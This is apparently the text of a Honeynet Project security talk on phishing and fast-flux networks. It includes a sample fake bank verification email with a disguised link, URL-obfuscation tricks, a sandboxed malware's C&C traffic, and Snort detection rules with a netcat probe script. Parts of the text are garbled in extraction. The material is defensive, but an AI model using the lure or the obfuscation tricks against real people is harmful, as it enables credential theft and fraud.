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Phishing: 
The act of attempting to fraudulently acquire 

sensitive information, by masquerading as a 
trustworthy person or business

The HUMAN element
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� Member, Pakistan Honeynet Project.
� Member, Pakcon.
� A Security Researcher

A passion for security
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� To share everything the Honeynet Project 
has developed and learned.

� To develop working relationships within 
the community.

� There is still A LOT for us to do, we need 
your help.
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� Part I 
� Motivation – Macroscopic View from History
� The concept  – What is it ?
� Tricks of Trade – how to do it ?
� Methods of phishing

� Part II
� Fast-Flux Networks
� What ? How ? Types ?
� Case Studies
� Detection and Mitigation
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� 2004 - $2 Billion loss in U.S only .
� 4000% rise in phishing attacks in 6 months only.               

(Gartner Group)

� 2004 – 9 million phishing attempts/week 
increased to 33 million at the end of 2004.

(Symantec Brightmail)

� 2005- Every 10 out of 12 emails classified as 
spam. (Postini- Antispam) 

� Why it is still the fastest growing industry ?
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� 1 response to “Click-Here” out of 100,000 
motivates spamers to send 5 million more 
Spam messages.
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� Spam Categories 
� Unsolicited commercial e-mails (< 1%)
� Non-responsive commercial emails

� List makers
� Scams – e.g. malware, phishing
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� Hooks to catch the fish. (fishing) 
� Aka �F�D�U�G�L�Q�J��or �E�U�D�Q�G���V�S�R�R�I�L�Q�J– Sending 

forged emails, mimicking a legitimate 
establishment in an attempts to scam a 
recipient divulging private information.

� Subset of SCAM
� How many? 4 dozen phishers groups. 

(SSC)
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� 1995 – Starts from AOL 12 years back.

� 2003 – First reported phishing attempts 
against financial institution.
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� Does not depends on a specific 
vulnerability - Human Element 

� Misunderstanding of URLs with trivial 
modification.
� For example 

http://www.southtrustbank.com

Vs 
http://www.southstrustbank.com
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� The difference was an extra ‘s’
http://www.southtrustbank.com (Original)

Vs 
http://www.southstrustbank.com (Malicious)

� Attack against common eye. (fuzzy or look-
alike domains).
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� Can you read this ?

� Phishers use ‘fzuzy’ domians to tirck the eye in a 
smiilar mnaner to tihs apporach.It is less obvuios, 
but proves effcetive when attacking the viitcm. 
Tihs is jsut one of the mnay mehtods phihsers
exlpoit for web spiofnog.

Yes I can !
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� Another attack against Human Eye.
� http://www.citibank.com@www.google.com
� This technique used some URL semantics. 

� Protocol:[//][user[:pass]@host[/resource]

� Usually encounter while accessing FTP.
� ftp://zaib:hello@ftp.example.com

Not so tricky ! I can catch this easily.
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� Now take a look at this ……. 
� www.citibank.com%403639556456/

� May be my session ID or some other 
cache/cookie information. 

� Is it really what I think it is ?
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� Lets analyze ……
� Many representations of data

� Hexadecimal
� Octal
� Decimal etc.

� http://216.239.57.104 (www.google.com)
� (216*256+239) * (256+57) * (256+104) = 

3639556456
� http://3639556456 (www.google.com)  
� www.citibank.com@3639556456 
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� Still this ‘@’ is making me suspicious..
� For IE specific attack use ASCII to Hex 

conversion.
� @ (ASCII) =  40 (Hex)
� IE takes Hex values with ‘%’ prefix.
� Hence,

� www.citibank.com%403639556456
� www.citibank.com@www.google.com

� Very first approach – has been fixed
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� 3 most popular methods 
phishers employ

� Impersonating: e.g. Fake 
web site

� MITM via ARP,DNS 
spoofing 

� URL and html attack 
vectors

� Trojan key loggers
� Forwarding: e.g. Email 

with login
� Popups:  creative but 

limited approach 

iMac
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To: rehman-chudry@dkyenterprise.net
From: fraud-protect@ebank.standardchartered.com.pk
Subject: Account Verification Requested

Dear BoP Customer,

In order to continue delivering excellent banking services, we require you
to log into your account to verify your account information. Please click
on the link below to login and then select the "account information" menu
to verify that your account information is correct and up to date. Failure
to log in within the next 24 hours will result in temporary account
termination.

http://www.standardchartered.com.pk/verify.php?SESS_ID=51237880283483D12291AB7230BB87B7303B329B30B  

Thank you for your cooperation in this matter.

Faisal Lakhani
Standard Chartered Bank
Fraud Investigations Group

*** This is an automated message, please do not reply ***
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� Appreciation and genuine concern
� Location and instructions
� Threatening tone
� Clear, concise and brief.

� The HOOK ?

<br><br><a href="
http://www.standardchraterd.com.pk/verify.php?SESS_ID=

51237880283483D12291AB7230BB87B7303B329B30B
">https://www.standardcharterd.com.pk/verify.php?SESS_ID=5

1237880283483D12291AB7230BB87B7303B329B30B
</a>
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� More targeted towards online shopping 
carts.
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� Typically requires multiple zombies
� Zombies can be identified easily. How ?

� Public DNS name
� IP addresses embedded within the email lure 

messages.
� Server address obfuscation , Proxy Servers etc. 
� But still can be tracked with international 

corporation. 
� In the end ,its all about ROI.
� So what next ? 

An additional layer of security



Part II – The Fast-Flux Networks
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� What they are ?
� How they operates  ?
� How criminal community is leveraging 

them? 
� Type of Fast-Flux networks 
� Case Study – with honeypots
� Detection, Identification and Mitigation
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� A fully qualified domain name to have 
multiple IPs.

� IP addresses swapped in an out with 
extreme frequencies

� TTL for DNS(RR) is very short.
� Load distribution, service availability and 

node health checks. 
� But this is not enough !
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� 2nd Layer – Blind proxy redirection
� Disrupts track down attempts
� Originally used for legitimate web service 

operations.
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� Controlling elements behind fast flux 
networks (C&C)

� Have more features then botnets
� Delivers contents back to victim
� Can operate for much longer time
� Usually host HTTP and DNS
� .hk and .info heavily abused TLD’s
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� Client request goes 
directly to target 
server

� Client request proxies 
through zombie-home 
PC.

� Mothership node 
delivers the 
fake/malicious 
contents
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� Mainly utilized for phishing sites.
� Other uses includes,

� Money mule recruitment sites.

� Pharmacy Shops.
� Extreme/illegal Adult contents.
� Malicious browser exploits website.

� Malware downloads.
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� Single flux is what we have already 
covered.

� User connects to flux-bot
� FFN changes IPs of flux-bots with in 3-10 

mins to ensure high availability and 
robustness.

� Flux-bots are primarily home PCs.
� Blind TCP and UDP redirects.
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� Additional layer of redundancy.
� Both DNS ‘A’ and ‘NS’ records for the domain 

changes.
� DNS and HTTP served from MN node.
� Request caching is not taken into account.
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1. Simplicity
� Content and DNS on single server
� Only 1 powerful server is needed
� Content delivery infrastructure would be easy to manage 

2. Disposability
� Additional Layer of protection 
� Investigation lead to handful of IP addresses
� No local evidence because of redirection

3. Long Operational lifespan
� Malicious servers are hidden
� Takes longer to shutdown
� Multiple layers of redirection
� Nodes hosted in lax law and criminal friendly hosting 

environments
� A successful operational model
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� Flux-bots acts as IRC bots in many ways
� Phone Home
� Redirection outgrowths from IRC bots

� Redirection occurs on command or 
hardcode instructions.

� Service operation for HA and CQ have 
been observed 
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� Single Flux: Money Mule Scam
� Double Flux: My Space Scam
� Fast Flux Malware : Weby.exe
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� An agent who transfers money form third 
party to you.

� Work from home
� Work as our distributor
� What is unique? He is a victim as well.
� DNS snapshot every 30 mins.
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� There are 5 ‘A’ records for single domain ?
� Records are not related ?
� Different Bandwidths ?
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� 2 ‘A’ records have changed ? AT&T and bluetone has 
gone.

� A new ‘A’ record belongs to same network ?
� Records belongs to dialup or broadband networks
� NS records are intact ?
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� 4 New ‘A’ records
� 1 ‘A’ record from first query, came back !
� Round robin fashion
� NS records are still intact
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� MySpace (http://www.myspace.com)
is a popular social networking website offering an interactive, user-

submitted network of friends, personal profiles, blogs, groups, photos, music and 
videos internationally. It is headquartered in Beverly Hills, California, USA.

� Sixth most popular website in the world
(Alexa Internet)

� Possesses 80% visits  to online social websites
� Registrar should allow frequent NS changes
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� Half hour later ….
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� A Honeypot was deliberately made infected. (weby.exe)
� Executed in a sandbox environment

� 1) Phone home: www.google.com

HTTP/ 1. 0 302 Found
Locat i on:  ht t p: / / www. googl e. com/
Set - Cooki e:  

PREF=I D=ef 5824caf e2d1f f 4: TM=1185368722: LM=1185368722: S=xc9bsel 66skyckpB;  
expi r es=Sun,  17- Jan- 2038 19: 14: 07 GMT;  pat h=/ ;  domai n=. googl e. com

Cont ent - Type:  t ext / ht ml
Ser ver :  GWS/ 2. 1
Cont ent - Lengt h:  222
Connect i on:  Keep- Al i ve
Cache- Cont r ol :  pr i vat e
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2) Registration with owner != C&C
GET / set t i ngs/ weby/ r emot e. php?os=XP&user =homenet -
ab0148a&st at us=1&ver si on=2. 0&bui l d=bet a004&upt i me=244813135872w%20244813135872
d%20244813135892h%20244813135919m%20244813135929s HTTP/ 1. 1   
User - Agent :  MSI E 7. 0 
Host :  xxx. i f eel you. i nf o
Cache- Cont r ol :  no- cache 

3) Response from MN.
HTTP/ 1. 1 200 OK Dat e:  Tue,  03 Apr  2007 07: 55: 53 GMT 
Ser ver :  Apache/ 2. 0. 54 ( Fedor a)  
X- Power ed- By:  PHP/ 5. 0. 4 
Cont ent - Lengt h:  19 
Connect i on:  c l ose 
Cont ent - Type:  t ext / ht ml ;  char set =UTF- 8 
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4) Request configuration file
GET / set t i ngs/ weby/ set t i ngs. i ni HTTP/ 1. 1
User - Agent :  MSI E 7. 0
Host :  xxxxxxxx. i connect you. bi z
Cache- Cont r ol :  no- cache

5) Configuration file send by MN
HTTP/ 1. 1 2 OK
Dat e:  Tue,  03 Apr  2007 07: 55: 40 GMT
Ser ver :  Apache/ 2. 0. 54 ( Fedor a)
Last - Modi f i ed:  Mon,  02 Apr  2007 23: 37: 36 GMT
ETag:  " 8007a- c5- b4bc70
Accept - Ranges:  byt es. . Cont ent - Lengt h:  197
Connect i on:  c l ose
Cont ent - Type:  t ext / pl ai n,  char set =UTF- 8
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6) Request for ddos component
GET / weby/ pl ugi n_ddos. dl l HTTP/ 1. 1
User - Agent :  MSI E 7. 0.
Host :  65. 111. 176. xxx.
Cache- Cont r ol :  no- cache 

7) File send by server
HTTP/ 1. 1 200 OK
Dat e:  Tue,  03 Apr  2007 07: 56: 03 GMT
Ser ver :  Apache/ 2. 0. 54 ( Fedor a)
Last - Modi f i ed:  Sat ,  10 Mar  2007 04: 48: 17 GMT
ETag:  " 80011- 2600- 3f a28640"
Accept - Ranges: byt es.
Cont ent - Lengt h:  9728
Connect i on:  c l ose
Cont ent - Type:  appl i cat i on/ oct et - st r eam.
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� AS Breakdown for DNS Flux 
Networks

Total# AS# 

331 7132 (SBC/ATT) 
300 1668 (AOL) 
47 11427 (RR) 
40 33287 
35 11426 
28 3356 
27 33491 
27 20115 
25 7015 
25 13343 

� AS Breakdown for HTTP Flux 
Networks

Total# AS# 

668 7132 (SBC/ATT) 
662 1668 (AOL) 
75 3356 
73 11427 
51 33287 
46 33491 
40 20115 
39 11426 
37 7015 
36 11351 
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� FFN are difficult to detect
� ISPs can detect MNs with special quries to 

FBs
� The fact : FBs redirects TCP80 and/or 

UDP 53
� Can enable egress IDS sensor to identify 

MN.



* / � � � � � 3�� 0 �� 	 � � � , � � �

� IDS sensors @ diff location in network
� Base64 encoded string send by flux-bot as HTTP 

or DNS req.
� helloflux = aGVsbG9mbHV4IAo 
� Reason: to detect full network path
� Accomplised with 2 steps on flux-bot and flux 

domain identified by DNS monitoring.
� Step 1: IDS placement (with 2 snort rules)
� Step 2: Message injection to flux domain 
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� 2 Snort rules that will be triggered on any HTTP or DNS message 
containing ‘helloflux’ encoded in Base64.
al er t  t cp $HOME_NET 1024: 5000 - > ! $HOME_NET 80 ( msg:  " Fl uxHTTP_Upst r eam_DST" ;  
f l ow:  est abl i shed, t o_ser ver ;  cont ent : " aGVsbG9mbHV4I Ao" ;  of f set :  0;  dept h:  15;  
pr i or i t y :  1;  c l asst ype: t r oj an- act i v i t y ;  s i d:  5005111;  r ev:  1; )  

al er t  udp $HOME_NET 1024: 65535 - > ! $HOME_NET 53 ( msg:  " Fl uxDNS_Upst r eam_DST" ;  
cont ent :  " | 00 02 01 00 00 01| " ;  of f set :  0;  dept h:  6;  
cont ent : " aGVsbG9mbHV4I Ao" ;  wi t hi n:  20;  pr i or i t y :  1;  c l asst ype: t r oj an- act i v i t y ;  
s i d:  5005112;  r ev:  1; )

� Message injection script

$ echo f l uxt est . sh ;  #! / bi n/ bash # Si mpl e shel l  scr i pt  t o t est  # suspect ed f l ux 
nodes on your  managed net wor ks echo "  aGVsbG9mbHV4I Ao"  |  nc - w 1 ${ 1}  80 di g 
+t i me=1 aGVsbG9mbHV4I Ao. dns. com @${ 1}  

� Can also be utilized to detect whole/parts of FFNs if ISP has IDS on 
netflow.
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� Establish policies to enable blocking of TCP 80 and UDP 53 into 
user-land networks if possible (ISP) 

� Block access to controller infrastructure (motherships, 
registration, and availability checkers) as they are discovered.
(ISP) 

� Improving domain registrar response procedures, and auditing 
new registrations for likely fraudulent purpose. (Registrar) 

� Increase service provider awareness, foster understanding of the
threat, shared processes and knowledge. (ISP) 

� Blackhole DNS and BGP route injection to kill related 
motherships and management infrastructure. (ISP) 

� Passive DNS harvesting/monitoring to identify A or NS records 
advertised into publicly routable user IP space. (ISPs, Registrars, 
Security professionals, ...) 
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Thank You for you time


